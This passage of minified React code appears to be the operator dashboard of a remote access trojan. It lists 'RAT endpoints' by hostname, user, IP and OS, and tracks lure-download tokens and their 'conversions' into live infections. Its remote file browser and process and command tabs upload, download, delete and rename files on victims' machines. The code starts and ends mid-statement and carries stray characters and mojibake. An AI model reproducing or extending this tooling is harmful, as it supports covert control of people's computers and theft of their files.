hover:text-slate-200`}`,onClick:()=>r(`processes`),children:[`Processes`,(0,H.jsx)(`span`,{className:`ml-1 text-xs bg-slate-800 px-2 py-1 rounded-full`,children:m.length})]})]}),n===`commands`?(0,H.jsx)($r,{onSendCommand:g,output:p}):(0,H.jsxs)(`div`,{className:`flex flex-col w-full h-fit gap-2`,children:[(0,H.jsxs)(`div`,{className:`flex h-12 items-center justify-between p-4 mr-15 border-b`,children:[(0,H.jsxs)(`h3`,{className:`text-lg font-semibold`,children:[`Processes (`,m.length,`)`]}),(0,H.jsx)(`button`,{onClick:()=>{e&&(u.shouldRefreshProcessList(e)?g(`PROCESS_LIST`):u.addCommandOutput(e,`[system] Using cached process list (refreshed within last 30 seconds)`))},className:`px-3 py-1 bg-brand-600 text-white rounded-lg hover:bg-brand-500 transition`,children:`Refresh`})]}),(0,H.jsx)(Ei,{clientId:e,onSendCommand:g,processes:m})]})]})]}),(0,H.jsx)(Zr,{open:b,title:`Delete Client`,message:y?`Delete client ${y.id}? This removes stored data and disconnects it if online.`:``,confirmLabel:`Delete`,cancelLabel:`Cancel`,variant:`danger`,onConfirm:C,onCancel:S})]})}function Ui(){return(0,H.jsx)(Hi,{})}function Wi(e){let t=Date.now()-e,n=Math.floor(t/1e3),r=Math.floor(n/60),i=Math.floor(r/60);return n<60?`${n}s ago`:r<60?`${r}m ago`:i<24?`${i}h ago`:new Date(e).toLocaleDateString()}function Gi(e){return Wi(e>1e10?e:e*1e3)}function Ki(e,t){let n=e.last_download>1e10?e.last_download:e.last_download*1e3,r=(Date.now()-n)/1e3;return t.filter(t=>t.token===e.token&&t.client_id).length>0?{text:`â
Connected`,color:`text-emerald-400`}:r<300?{text:`â³ ${Math.ceil((300-r)/60)}m remaining`,color:`text-blue-400`}:r<3600?{text:`â ï¸ No connection`,color:`text-yellow-400`}:{text:`â Likely blocked`,color:`text-red-400`}}function qi(){let[e,t]=(0,_.useState)([]),[n,r]=(0,_.useState)(null),[i,a]=(0,_.useState)(24),[o,s]=(0,_.useState)(!1),{status:c,lastError:l,subscribeAll:u,send:d}=pi(),{clients:f}=Ii(),p=(0,_.useRef)(void 0),m=(0,_.useRef)(void 0);(0,_.useEffect)(()=>{let e=f.map(e=>{let t=Number(e.lastSeen??e.last_seen??Date.now()),n=e.is_online===1||e.connected===!0||e.status===`online`;return{id:e.id,hostname:e.hostname||`Unknown`,username:e.username||`Unknown`,lastSeen:t,lastSeenFormatted:Wi(t),
69connected:n,status:n?`online`:`offline`,ip:e.ip||e.ip_address||`Unknown`,os:e.os||e.os_version||`Windows`}});e.length>0&&t(e)},[f]),(0,_.useEffect)(()=>{c===`connected`&&(s(!0),d({type:`db_query`,query:`get_download_stats`,hoursBack:i===999999?null:i}))},[i,c,d]);let h=()=>{p.current&&clearTimeout(p.current),p.current=setTimeout(()=>{c===`connected`&&d({type:`db_query`,query:`get_download_stats`,hoursBack:i===999999?null:i})},500)};return(0,_.useEffect)(()=>()=>{p.current&&clearTimeout(p.current),m.current&&clearTimeout(m.current)},[]),(0,_.useEffect)(()=>u((e,n)=>{let a=n??e.topic??e.type;if(a===`db_response`&&e.query===`get_download_stats`){let t=e.data;t&&t.stats?r(t):r({stats:[],conversions:{},hoursBack:i}),s(!1);return}if(a===`download_event`){h();return}if(a===`client_list`||a===`clients`){let n=e.clients||e.payload||[];Array.isArray(n)&&t(n.map(e=>({...e,lastSeenFormatted:e.lastSeenFormatted||Wi(e.lastSeen),ip:e.ip||`Unknown`,os:e.os||`Windows`})));return}if(a===`client_update`||a===`client_connected`){let n=e.payload||e;n&&n.id&&t(e=>{let t=e.findIndex(e=>e.id===n.id);if(t===-1)return[...e,{...n,lastSeenFormatted:n.lastSeenFormatted||Wi(n.lastSeen),ip:n.ip||`Unknown`,os:n.os||`Windows`}];let r=[...e];return r[t]={...r[t],...n,lastSeenFormatted:n.lastSeenFormatted||Wi(n.lastSeen)},r});return}}),[u,c,i]),(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100`,children:`Clients`}),(0,H.jsxs)(`p`,{className:`text-sm text-slate-400`,children:[`Detailed endpoint view for active and inactive clients. WebSocket: `,(0,H.jsx)(`span`,{className:`font-medium ${c===`connected`?`text-emerald-400`:`text-red-400`}`,children:c}),l&&(0,H.jsxs)(`span`,{className:`ml-2 text-red-400`,children:[`Error: `,l]})]})]}),(0,H.jsxs)(`section`,{className:`panel overflow-hidden`,children:[(0,H.jsxs)(`div`,{className:`px-6 py-4 border-b border-slate-800 flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h4`,{className:`text-lg font-semibold text-slate-100`,children:`Download Activity`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`Track link access and connection conversions`})]}),(0,H.jsxs)(`div`,{className:`flex gap-2`,children:[(0,H.jsx)(`button`,{onClick:()=>a(24),className:`px-3 py-1.5 text-sm rounded ${i===24?`bg-blue-600 text-white`:`bg-slate-800 text-slate-300 hover:bg-slate-700`}`,children:`24 Hours`}),(0,H.jsx)(`button`,{onClick:()=>a(168),className:`px-3 py-1.5 text-sm rounded ${i===168?`bg-blue-600 text-white`:`bg-slate-800 text-slate-300 hover:bg-slate-700`}`,children:`7 Days`}),(0,H.jsx)(`button`,{onClick:()=>a(999999),className:`px-3 py-1.5 text-sm rounded ${i===999999?`bg-blue-600 text-white`:`bg-slate-800 text-slate-300 hover:bg-slate-700`}`,children:`All Time`})]})]}),(0,H.jsx)(`div`,{className:`overflow-x-auto`,children:(0,H.jsxs)(`table`,{className:`min-w-full text-left text-sm`,children:[(0,H.jsx)(`thead`,{className:`bg-slate-900/80 text-slate-300`,children:(0,H.jsxs)(`tr`,{children:[(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`User ID`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Token`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Downloads`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Last Download`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`IP Address`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`File Type`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Status`})]})}),(0,H.jsx)(`tbody`,{className:`divide-y divide-slate-800 text-slate-200`,children:o?(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:7,className:`px-4 py-8 text-center text-slate-400`,children:(0,H.jsxs)(`div`,{className:`flex items-center justify-center gap-2`,children:[(0,H.jsx)(`div`,{className:`animate-spin h-4 w-4 border-2 border-blue-500 border-t-transparent rounded-full`}),`Loading download activity...`]})})}):!n||n.stats.length===0?(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:7,className:`px-4 py-8 text-center text-slate-400`,children:c===`connected`?`No download activity in this time range`:`Loading...`})}):n.stats.map((e,t)=>{let r=n.conversions[e.user_id]||n.conversions[String(e.user_id)]||[],i=Ki(e,r),a=r.find(t=>t.token===e.token&&t.client_id);return(0,H.jsxs)(`tr`,{className:`hover:bg-slate-900/60`,children:[(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-100 font-medium`,children:e.user_id}),(0,H.jsxs)(`td`,{className:`px-4 py-3 font-mono text-xs text-slate-400`,children:[`...`,e.token.slice(-8)]}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsxs)(`span`,{className:`inline-flex items-center gap-1 px-2 py-1 bg-blue-900/30 text-blue-300 rounded text-xs`,children:[e.download_count,`x`]}
69)}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400`,children:Gi(e.last_download)}),(0,H.jsx)(`td`,{className:`px-4 py-3 font-mono text-xs text-slate-400`,children:e.last_ip}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsx)(`span`,{className:`px-2 py-1 bg-slate-800 rounded text-xs uppercase`,children:e.file_type})}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsxs)(`div`,{className:`flex flex-col gap-1`,children:[(0,H.jsx)(`span`,{className:`${i.color} text-sm`,children:i.text}),a&&(0,H.jsxs)(`span`,{className:`text-xs text-slate-500`,children:[`â `,a.hostname]})]})})]},`${e.user_id}-${e.token}-${t}`)})})]})})]}),(0,H.jsxs)(`section`,{className:`panel overflow-hidden`,children:[(0,H.jsxs)(`div`,{className:`px-6 py-4 border-b border-slate-800`,children:[(0,H.jsx)(`h4`,{className:`text-lg font-semibold text-slate-100`,children:`Connected Clients`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`Active and inactive RAT endpoints`})]}),(0,H.jsx)(`div`,{className:`overflow-x-auto`,children:(0,H.jsxs)(`table`,{className:`min-w-full text-left text-sm`,children:[(0,H.jsx)(`thead`,{className:`bg-slate-900/80 text-slate-300`,children:(0,H.jsxs)(`tr`,{children:[(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Client ID`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Hostname`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`User`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`OS`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Status`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-medium`,children:`Last Seen`})]})}),(0,H.jsx)(`tbody`,{className:`divide-y divide-slate-800 text-slate-200`,children:e.length===0?(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:6,className:`px-4 py-8 text-center text-slate-400`,children:c===`connected`?`No clients connected`:`Connecting to server...`})}):e.map(e=>{let t=e.status===`online`;return(0,H.jsxs)(`tr`,{className:`hover:bg-slate-900/60`,children:[(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-100 font-medium`,children:e.id}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:e.hostname}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:e.username}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:e.os}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsxs)(`span`,{className:`inline-flex items-center gap-2 ${t?`text-emerald-400`:`text-red-400`}`,children:[(0,H.jsx)(`span`,{className:`inline-block size-2 rounded-full ${t?`bg-emerald-500`:`bg-red-500`}`}),e.status]})}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400`,children:e.lastSeenFormatted})]},e.id)})})]})})]})]})}function Ji(e){return e.replace(/\\/g,`/`).replace(/\/+$/,``)||`/`}function Yi(e,t){if(t===`folder`)return(0,H.jsx)(`svg`,{viewBox:`0 0 24 24`,className:`size-4 text-amber-300`,fill:`currentColor`,"aria-hidden":`true`,children:(0,H.jsx)(`path`,{d:`M3 6.5A2.5 2.5 0 0 1 5.5 4H10l2 2h6.5A2.5 2.5 0 0 1 21 8.5v9A2.5 2.5 0 0 1 18.5 20h-13A2.5 2.5 0 0 1 3 17.5v-11Z`})});let n=e.split(`.`).pop()?.toLowerCase()||``;return[`png`,`jpg`,`jpeg`,`gif`,`bmp`,`svg`,`webp`,`ico`].includes(n)?(0,H.jsxs)(`svg`,{viewBox:`0 0 24 24`,className:`size-4 text-green-400`,fill:`currentColor`,"aria-hidden":`true`,children:[(0,H.jsx)(`path`,{d:`M6 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9l-6-6H6Z`}),(0,H.jsx)(`path`,{d:`M14 3v6h6`,className:`text-slate-900`,fill:`currentColor`}),(0,H.jsx)(`circle`,{cx:`9`,cy:`10`,r:`1.5`,fill:`currentColor`}),(0,H.jsx)(`path`,{d:`M5 18l4-6 3 4 2-2 5 4`,fill:`none`,stroke:`currentColor`,strokeWidth:`1.5`})]}):[`js`,`ts`,`jsx`,`tsx`,`py`,`cpp`,`c`,`h`,`java`,`cs`,`go`,`rs`,`rb`,`php`].includes(n)?(0,H.jsxs)(`svg`,{viewBox:`0 0 24 24`,className:`size-4 text-emerald-400`,fill:`currentColor`,"aria-hidden":`true`,children:[(0,H.jsx)(`path`,{d:`M6 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9l-6-6H6Z`}),(0,H.jsx)(`path`,{d:`M14 3v6h6`,className:`text-slate-900`,fill:`currentColor`}),(0,H.jsx)(`path`,{d:`M9 13l-2 2 2 2M15 13l2 2-2 2`,fill:`none`,stroke:`currentColor`,strokeWidth:`1.5`,strokeLinecap:`round`})]}):[`zip`,`rar`,`7z`,`tar`,`gz`,`bz2`].includes(n)?(0,H.jsxs)(`svg`,{viewB
69ox:`0 0 24 24`,className:`size-4 text-orange-400`,fill:`currentColor`,"aria-hidden":`true`,children:[(0,H.jsx)(`path`,{d:`M6 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9l-6-6H6Z`}),(0,H.jsx)(`path`,{d:`M14 3v6h6`,className:`text-slate-900`,fill:`currentColor`}),(0,H.jsx)(`path`,{d:`M8 12h8M8 16h8`,fill:`none`,stroke:`currentColor`,strokeWidth:`1.5`,strokeLinecap:`round`})]}):[`doc`,`docx`,`xls`,`xlsx`,`ppt`,`pptx`,`pdf`,`txt`,`csv`,`rtf`].includes(n)?(0,H.jsxs)(`svg`,{viewBox:`0 0 24 24`,className:`size-4 text-blue-400`,fill:`currentColor`,"aria-hidden":`true`,children:[(0,H.jsx)(`path`,{d:`M6 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9l-6-6H6Z`}),(0,H.jsx)(`path`,{d:`M14 3v6h6`,className:`text-slate-900`,fill:`currentColor`}),(0,H.jsx)(`path`,{d:`M8 12h8M8 15h6`,fill:`none`,stroke:`currentColor`,strokeWidth:`1.5`,strokeLinecap:`round`})]}):[`mp3`,`wav`,`flac`,`mp4`,`avi`,`mkv`,`mov`,`wmv`].includes(n)?(0,H.jsxs)(`svg`,{viewBox:`0 0 24 24`,className:`size-4 text-purple-400`,fill:`currentColor`,"aria-hidden":`true`,children:[(0,H.jsx)(`path`,{d:`M6 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9l-6-6H6Z`}),(0,H.jsx)(`path`,{d:`M14 3v6h6`,className:`text-slate-900`,fill:`currentColor`}),(0,H.jsx)(`path`,{d:`M10 12v4M14 11v6`,fill:`none`,stroke:`currentColor`,strokeWidth:`1.5`,strokeLinecap:`round`})]}):[`exe`,`dll`,`msi`,`bat`,`cmd`,`ps1`].includes(n)?(0,H.jsxs)(`svg`,{viewBox:`0 0 24 24`,className:`size-4 text-red-400`,fill:`currentColor`,"aria-hidden":`true`,children:[(0,H.jsx)(`path`,{d:`M6 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9l-6-6H6Z`}),(0,H.jsx)(`path`,{d:`M14 3v6h6`,className:`text-slate-900`,fill:`currentColor`}),(0,H.jsx)(`path`,{d:`M9 12l3 3-3 3`,fill:`none`,stroke:`currentColor`,strokeWidth:`1.5`,strokeLinecap:`round`})]}):(0,H.jsxs)(`svg`,{viewBox:`0 0 24 24`,className:`size-4 text-sky-300`,fill:`currentColor`,"aria-hidden":`true`,children:[(0,H.jsx)(`path`,{d:`M6 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9l-6-6H6Z`}),(0,H.jsx)(`path`,{d:`M14 3v6h6`,className:`text-slate-900`,fill:`currentColor`})]})}function Xi({node:e,level:t,currentPath:n,expandedPaths:r,onToggle:i,onNavigate:a}){let o=Ji(e.path),s=Ji(n)===o,c=e.type===`folder`&&Array.isArray(e.children)&&e.children.length>0,l=r.has(o);return(0,H.jsxs)(`li`,{children:[(0,H.jsxs)(`div`,{style:{paddingLeft:`${Math.max(t,0)*.75+.5}rem`},className:`flex items-center gap-2 rounded-md px-2 py-1 text-sm transition ${s?`bg-brand-600/20 text-slate-100`:`text-slate-300 hover:bg-slate-800/70 hover:text-slate-100`}`,children:[e.type===`folder`?(0,H.jsx)(`button`,{type:`button`,onClick:()=>{c&&i(o)},className:`flex h-5 w-4 items-center justify-center text-xs text-slate-400 hover:text-slate-200`,"aria-label":l?`Collapse folder`:`Expand folder`,children:c?l?`â¾`:`â¸`:`·`}):(0,H.jsx)(`span`,{className:`h-5 w-4`,"aria-hidden":`true`}),(0,H.jsxs)(`button`,{type:`button`,onClick:()=>{e.type===`folder`&&a(o)},className:`flex min-w-0 items-center gap-2`,children:[Yi(e.name,e.type),(0,H.jsx)(`span`,{className:`truncate`,children:e.name})]})]}),c&&l?(0,H.jsx)(`ul`,{className:`mt-1 space-y-1`,children:e.children?.map(e=>(0,H.jsx)(Xi,{node:e,level:t+1,currentPath:n,expandedPaths:r,onToggle:i,onNavigate:a},e.path))}):null]})}function Zi(e,t){let n=Ji(e).split(`/`).filter(Boolean),r=[{label:`root`,path:`/`}],i=``;for(let e of n)i+=`/${e}`,r.push({label:e,path:i});return(0,H.jsx)(`nav`,{"aria-label":`Breadcrumb`,className:`flex flex-wrap items-center gap-1 text-sm`,children:r.map((e,n)=>(0,H.jsxs)(`span`,{className:`inline-flex items-center gap-1`,children:[n>0?(0,H.jsx)(`span`,{className:`text-slate-500`,children:`/`}):null,(0,H.jsx)(`button`,{type:`button`,onClick:()=>t(e.path),className:`rounded px-1 py-0.5 text-slate-300 transition hover:bg-slate-800 hover:text-slate-100`,children:e.label})]},e.path))})}function Qi({tree:e,entries:t,currentPath:n,onNavigate:r,onDownload:i,onUpload:a,onMkdir:o,onTouch:s,onDelete:c,onRename:l,onZip:u,onUnzip:d,onProperties:f,onPreview:p,className:m}){let h=Ji(n),g=(0,_.useRef)(null),v=(0,_.useRef)(null),[y,b]=(0,_.useState)(new Set([`/`])),[x,S]=(0,_.useState)(`name`),[C,w]=(0,_.useState)(`asc`),[T,E]=(0,_.useState)(null),[D,O]=(0,_.useState)(!1),[k,A]=(0,_.useState)(!1),[j,M]=(0,_.useState)(``),[N,P]=(0,_.useState)(new Set),[F,I]=(0,_.useState)(!1),[L,R]=(0,_.useState)(null),[ee,te]=(0,_.useState)(null),ne=(0,_.useMemo)(()=>[...t].sort((e,t)=>
69{if(e.type!==t.type)return e.type===`folder`?-1:1;let n=0;switch(x){case`name`:n=e.name.toLowerCase().localeCompare(t.name.toLowerCase());break;case`type`:n=e.type.localeCompare(t.type);break;case`size`:n=(e.size?parseFloat(e.size):0)-(t.size?parseFloat(t.size):0);break;case`modified`:n=(e.modifiedAt||``).localeCompare(t.modifiedAt||``);break}return C===`asc`?n:-n}),[t,x,C]),[z,B]=(0,_.useState)(!1),[re,ie]=(0,_.useState)(new Set),ae=e=>{b(t=>{let n=new Set(t),r=Ji(e);return n.has(r)?n.delete(r):n.add(r),n})},oe=()=>{g.current?.click()},se=async e=>{let t=e.target.files?.[0];if(t){B(!0),R({fileName:t.name,percent:0});try{let e=setInterval(()=>{R(e=>e?{...e,percent:Math.min(e.percent+10,90)}:null)},200);await a(h,t),clearInterval(e),R({fileName:t.name,percent:100}),setTimeout(()=>R(null),1e3)}finally{B(!1),e.target.value=``}}},ce=async e=>{let t=e.split(`\\`).pop()||e.split(`/`).pop()||`file`;ie(t=>{let n=new Set(t);return n.add(e),n}),te({fileName:t,percent:0});let n=setInterval(()=>{te(e=>e?{...e,percent:Math.min(e.percent+15,90)}:null)},300);try{await i(e),clearInterval(n),te({fileName:t,percent:100}),setTimeout(()=>te(null),1e3)}finally{ie(t=>{let n=new Set(t);return n.delete(e),n})}},le=e=>{x===e?w(C===`asc`?`desc`:`asc`):(S(e),w(`asc`))},ue=(0,_.useCallback)((e,t)=>{e.preventDefault(),E({x:e.clientX,y:e.clientY,entry:t})},[]),de=()=>E(null),fe=()=>{j.trim()&&o&&o(h,j.trim()),O(!1),M(``)},pe=()=>{j.trim()&&s&&s(h,j.trim()),A(!1),M(``)},me=e=>{P(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),n})},he=(0,_.useCallback)(e=>{e.preventDefault(),e.stopPropagation(),I(!0)},[]),ge=(0,_.useCallback)(e=>{e.preventDefault(),e.stopPropagation(),I(!1)},[]),_e=(0,_.useCallback)(async e=>{e.preventDefault(),e.stopPropagation(),I(!1);let t=Array.from(e.dataTransfer.files);if(t.length!==0)for(let e of t){B(!0),R({fileName:e.name,percent:0});try{let t=setInterval(()=>{R(e=>e?{...e,percent:Math.min(e.percent+10,90)}:null)},200);await a(h,e),clearInterval(t),R({fileName:e.name,percent:100}),setTimeout(()=>R(null),1e3)}finally{B(!1)}}},[h,a]),ve=({field:e,label:t,className:n})=>(0,H.jsx)(`th`,{className:`cursor-pointer px-3 py-2 font-medium select-none hover:text-slate-100 ${n||``}`,onClick:()=>le(e),children:(0,H.jsxs)(`span`,{className:`inline-flex items-center gap-1`,children:[t,x===e?(0,H.jsx)(`span`,{className:`text-xs`,children:C===`asc`?`â²`:`â¼`}):(0,H.jsx)(`span`,{className:`text-xs text-slate-600`,children:`â
`})]})}),ye=({fileName:e,percent:t})=>(0,H.jsxs)(`div`,{className:`mb-3 rounded-lg border border-slate-700 bg-slate-900/80 p-3`,children:[(0,H.jsxs)(`div`,{className:`mb-1 flex items-center justify-between text-sm`,children:[(0,H.jsx)(`span`,{className:`truncate text-slate-300 max-w-[200px]`,children:e}),(0,H.jsxs)(`span`,{className:`text-slate-400`,children:[t,`%`]})]}),(0,H.jsx)(`div`,{className:`h-2 w-full overflow-hidden rounded-full bg-slate-800`,children:(0,H.jsx)(`div`,{className:`h-full rounded-full bg-brand-500 transition-all duration-300`,style:{width:`${t}%`}})})]});return(0,H.jsxs)(`section`,{className:`panel p-4 ${m??``}`,onClick:de,children:[(0,H.jsxs)(`div`,{className:`mb-3 flex flex-wrap items-center justify-between gap-2`,children:[(0,H.jsx)(`h3`,{className:`text-base font-semibold text-slate-100`,children:`Remote File Browser`}),(0,H.jsxs)(`div`,{className:`flex flex-wrap gap-1.5`,children:[(0,H.jsx)(U,{type:`button`,onClick:()=>{O(!0),M(``)},variant:`secondary`,size:`sm`,children:`+ Folder`}),(0,H.jsx)(U,{type:`button`,onClick:()=>{A(!0),M(``)},variant:`secondary`,size:`sm`,children:`+ File`}),(0,H.jsx)(U,{type:`button`,onClick:oe,isLoading:z,variant:`primary`,size:`sm`,children:`Upload`}),(0,H.jsx)(U,{type:`button`,onClick:()=>r(h),variant:`secondary`,size:`sm`,children:`Refresh`}),N.size>0&&(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(U,{type:`button`,onClick:()=>{c&&N.forEach(e=>{let n=t.find(t=>t.path===e);n&&c(e,n.type===`folder`)}),P(new Set)},variant:`danger`,size:`sm`,children:[`Delete (`,N.size,`)`]}),(0,H.jsx)(U,{type:`button`,onClick:()=>P(new Set),variant:`secondary`,size:`sm`,children:`Clear`})]})]}),(0,H.jsx)(`input`,{ref:g,type:`file`,className:`hidden`,onChange:e=>void se(e)})]}),L&&(0,H.jsx)(ye,{fileName:L.fileName,percent:L.percent}),ee&&(0,H.jsx)(ye,{fileName:ee.fileName,percent:ee.percent}),(D||k)&&(0,H.jsxs)(`div`,{className:`mb-3 rounded-lg border border-slate-700 bg-slate-900/80 p-3`,children:[(0,H.jsxs)(`p`,{className:`mb-2 text-sm text-slate-300`,children:[D?`Create new folder in:`:`Create new file in:`,` `,(0,H.jsx)(`span`,{className:`font-mono text-slate-100`,children:h})]}),(0,H.jsxs)(`div`,{className:`flex gap-2`,children:[(0,H.jsx)(`input`,{type:`text`,value:j,onChange:e=>M(e.target.value),placeholder:D?`Folder name`:`File name (e.g. notes.txt)`,className:`flex-1 rounded-md bg-slate-800 px-3 py-1.5 text-sm text-slate-200 placeholder-slate-500 border border-slate-700`,onKeyDown:e=>{e.key===`Enter`&&(D?fe():pe()),e.key===`Escape`&&(O(!1),A(!1))},autoFocus:!0}),(0,H.jsx)(U,{type:`button`,onClick:D?fe:pe,variant:`primary`,size:`sm`,children:`Create`}),(0,H.jsx)(U,{type:`button`,onClick:()=>{O(!1),A(!1)},variant:`secondary`,size:`sm`,children:`Cancel`})]})]}),(0,H.jsxs)(`div`,{className:`mb-3 rounded-lg border border-slate-800 bg-slate-950/50 px-3 py-2`,children:[(0,H.jsx)(`p`,{className:`text-xs uppercase tracking-wide text-slate-500`,children:`Current Path`}),(0,H.jsx)(`p`,{className:`mt-1 font-mono text-sm text-slate-200`,children:h})]}),(0,H.jsx)(`div`,{className:`mb-4 rounded-lg border border-slate-800 bg-slate-950/40 px-2 py-1.5`,children:Zi(h,r)}),(0,H.jsxs)(`div`,{className:`grid gap-4 lg:grid-cols-[35%_65%]`,children:[(0,H.jsxs)(`aside`,{className:`rounded-lg border border-slate-800 bg-slate-950/30 p-2`,children:[(0,H.jsx)(`p`,{className:`mb-2 px-2 text-xs uppercase tracking-wide text-slate-500`,children:`Directory Tree`}),(0,H.jsx)(`div`,{className:`max-h-80 overflow-auto`,children:e.length===0?(0,H.jsx)(`p`,{className:`px-2 py-3 text-sm text-slate-500`,children:`No directories available.`}):(0,H.jsx)(`ul`,{className:`space-y-1`,children:e.map(e=>(0,H.jsx)(Xi,{node:e,level:0,currentPath:h,expandedPaths:y,onToggle:ae,onNavigate:r},e.path))})})]}),(0,H.jsxs)(`div`,{ref:v,className:`rounded-lg border p-2 transition-colors ${F?`border-brand-500 bg-brand-600/10`:`border-slate-800 bg-slate-950/30`}`,onDragOver:he,onDragLeave:ge,onDrop:_e,children:[(0,H.jsxs)(`p`,{className:`mb-2 px-2 text-xs uppercase tracking-wide text-slate-500`,children:[`Files & Folders`,F&&(0,H.jsx)(`span`,{className:`ml-2 text-brand-400`,children:`Drop files here to upload`})]}),(0,H.jsx)(`div`,{className:`max-h-80 overflow-auto rounded-md border border-slate-800`,children:(0,H.jsxs)(`table`,{className:`min-w-full text-left text-sm`,children:[(0,H.jsx)(`thead`,{className:`bg-slate-900/80 text-slate-300 sticky top-0`,children:(0,H.jsxs)(`tr`,{children:[(0,H.jsx)(`th`,{className:`w-8 px-2 py-2`}),(0,H.jsx)(ve,{field:`name`,label:`Name`}),(0,H.jsx)(ve,{field:`type`,label:`Type`}),(0,H.jsx)(ve,{field:`size`,label:`Size`}),(0,H.jsx)(ve,{field:`modified`,label:`Modified`}),(0,H.jsx)(`th`,{className:`px-3 py-2 font-medium`,children:`Action`})]})}
69),(0,H.jsx)(`tbody`,{className:`divide-y divide-slate-800 text-slate-200`,children:ne.length===0?(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:6,className:`px-3 py-6 text-center text-slate-500`,children:`Directory is empty.`})}):ne.map(e=>(0,H.jsxs)(`tr`,{className:`transition hover:bg-slate-900/60 ${N.has(e.path)?`bg-brand-600/10`:``}`,onContextMenu:t=>ue(t,e),children:[(0,H.jsx)(`td`,{className:`px-2 py-2`,children:(0,H.jsx)(`input`,{type:`checkbox`,checked:N.has(e.path),onChange:()=>me(e.path),className:`rounded border-slate-600 bg-slate-800 text-brand-500`})}),(0,H.jsx)(`td`,{className:`px-3 py-2`,children:(0,H.jsxs)(`button`,{type:`button`,onDoubleClick:()=>{e.type===`folder`&&r(Ji(e.path))},className:`flex items-center gap-2 text-left`,children:[Yi(e.name,e.type),(0,H.jsx)(`span`,{className:`text-slate-100`,children:e.name})]})}),(0,H.jsx)(`td`,{className:`px-3 py-2 capitalize text-slate-400`,children:e.type}),(0,H.jsx)(`td`,{className:`px-3 py-2 text-slate-400`,children:e.size??`-`}),(0,H.jsx)(`td`,{className:`px-3 py-2 text-slate-400`,children:e.modifiedAt??`-`}),(0,H.jsx)(`td`,{className:`px-3 py-2`,children:e.type===`file`?(0,H.jsx)(U,{type:`button`,onClick:()=>void ce(e.path),isLoading:re.has(e.path),variant:`secondary`,size:`sm`,children:`Download`}):(0,H.jsx)(`span`,{className:`text-xs text-slate-500`,children:`â`})})]},e.path))})]})})]})]}),T&&(0,H.jsx)(`div`,{className:`fixed z-50 rounded-lg border border-slate-700 bg-slate-900 py-1 shadow-xl min-w-[180px]`,style:{left:T.x,top:T.y},onClick:e=>e.stopPropagation(),children:T.entry&&(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`div`,{className:`px-3 py-1.5 text-xs text-slate-500 border-b border-slate-700 truncate max-w-[200px]`,children:T.entry.name}),T.entry.type===`folder`&&(0,H.jsx)(`button`,{className:`w-full px-3 py-1.5 text-left text-sm text-slate-200 hover:bg-slate-800`,onClick:()=>{r(Ji(T.entry.path)),de()},children:`Open`}),(0,H.jsx)(`button`,{className:`w-full px-3 py-1.5 text-left text-sm text-slate-200 hover:bg-slate-800`,onClick:()=>{navigator.clipboard.writeText(T.entry.path).catch(()=>{}),de()},children:`Copy Path`}),f&&(0,H.jsx)(`button`,{className:`w-full px-3 py-1.5 text-left text-sm text-slate-200 hover:bg-slate-800`,onClick:()=>{f(T.entry.path),de()},children:`Properties`}),p&&T.entry.type===`file`&&(0,H.jsx)(`button`,{className:`w-full px-3 py-1.5 text-left text-sm text-slate-200 hover:bg-slate-800`,onClick:()=>{p(T.entry.path),de()},children:`Preview`}),l&&(0,H.jsx)(`button`,{className:`w-full px-3 py-1.5 text-left text-sm text-slate-200 hover:bg-slate-800`,onClick:()=>{l(T.entry.path,T.entry.name),de()},children:`Rename`}),u&&(0,H.jsx)(`button`,{className:`w-full px-3 py-1.5 text-left text-sm text-slate-200 